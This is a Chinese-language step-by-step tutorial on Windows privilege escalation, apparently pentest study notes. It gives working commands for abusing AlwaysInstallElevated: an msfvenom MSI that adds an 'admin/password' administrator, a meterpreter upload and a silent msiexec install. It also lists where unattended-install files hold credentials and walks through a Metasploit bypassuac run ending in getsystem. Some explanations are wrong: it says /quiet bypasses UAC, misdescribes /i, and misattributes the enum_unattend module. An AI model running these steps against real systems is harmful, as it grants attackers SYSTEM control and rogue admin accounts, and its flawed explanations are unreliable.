在 Windows 當中有一種設定可以讓非管理權限的使用者,使用系統權限安裝 Microsoft Windows 的安裝檔案,也就是 MSI 檔案,也就是利用管理員的權限執行。
因此可以利用該功能去執行惡意的 msi 檔案,使用的條件需要目標系統需要開啟該設定,因此我們可以透過指令去確認 Windows 註冊表的值。
STEP1:確認註冊表值
兩張註冊表都要為 1 ,分別是 HKCU 和 HKLM:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
STEP2:產生後門msfvenom -p windows/adduser USER=admin PASS=password -f msi -o fei.msi
執行該程式之後可以新增管理員使用者,和反彈有系統權限的 revershell 進行攻擊。
STEP3:上傳後門meterpreter > upload fei.msi "C:\\Users\\User\\Desktop"
STEP4:安裝惡意的 MSI 檔案msiexec /quiet /qn /i C:\\Users\\User\\Desktop\\fei.msi
參數 | 說明 |
---|---|
/quiet | 透過 quiet 繞過 Windows 的 UAC |
/qn | 不使用 GUI 進行安裝 |
/i | 引入的 library 進行一般安裝 |
亦可透過 Metasploit 的模組 exploit/windows/local/always_install_elevated
來利用 AlwaysInstallElevated 漏洞。
透過 Unattended Installs 的安裝方式,可以允許無使用者、管理員的情況下,也就是不需要使用者點選下一步,進行 Windows 安裝程式,簡單來說就是自動化安裝。
若進行自動化安裝需要新增 autounattend.xml
,且透過 Windows Assessment and Deployment Kit (ADK) 進行部屬,這個檔案內部包含自動化安裝的所有設定,可能包含使用者帳號如一般帳號或管理員帳號的資訊。
STEP1: 尋找 autounattend.xml
檔案
尋找路徑如下:
C:\Windows\Panther
C:\Windows\Panther\Unattend
C:\Windows\System32
C:\Windows\System32\sysprep\
尋找檔案名稱如下:
autounattend.xml
Unattend.xml
unattended.xml
unattend.txt
sysprep.xml
sysprep.inf
亦可透過 Metasploit 的模組 post/windows/gather/enum_unattend
來利用 AlwaysInstallElevated 漏洞。
UAC 是 Windows 的安全機制,可以讓管理員擁有兩個單獨的 token,分別為standard user access token
、administrator access token
。
standard user access token
:用來執行不需要管理權限的程式,如 Web 瀏覽器、電子信箱程式。administrator access token
:用來執行需要管理員權限的程式,如針對系統的修改。step1: 取得目標網站 Meterpreter shell 權限,並將連線資訊放置於背景中meterpreter > background
setp2: 使用指定模組use exploit/windows/local/bypassuac
step3: 設定參數
該漏洞利用工具會產生第二個 shell。set session [Session ID]
set lhost [VPN IP]
run
step4:確認權限
meterpreter > getsystem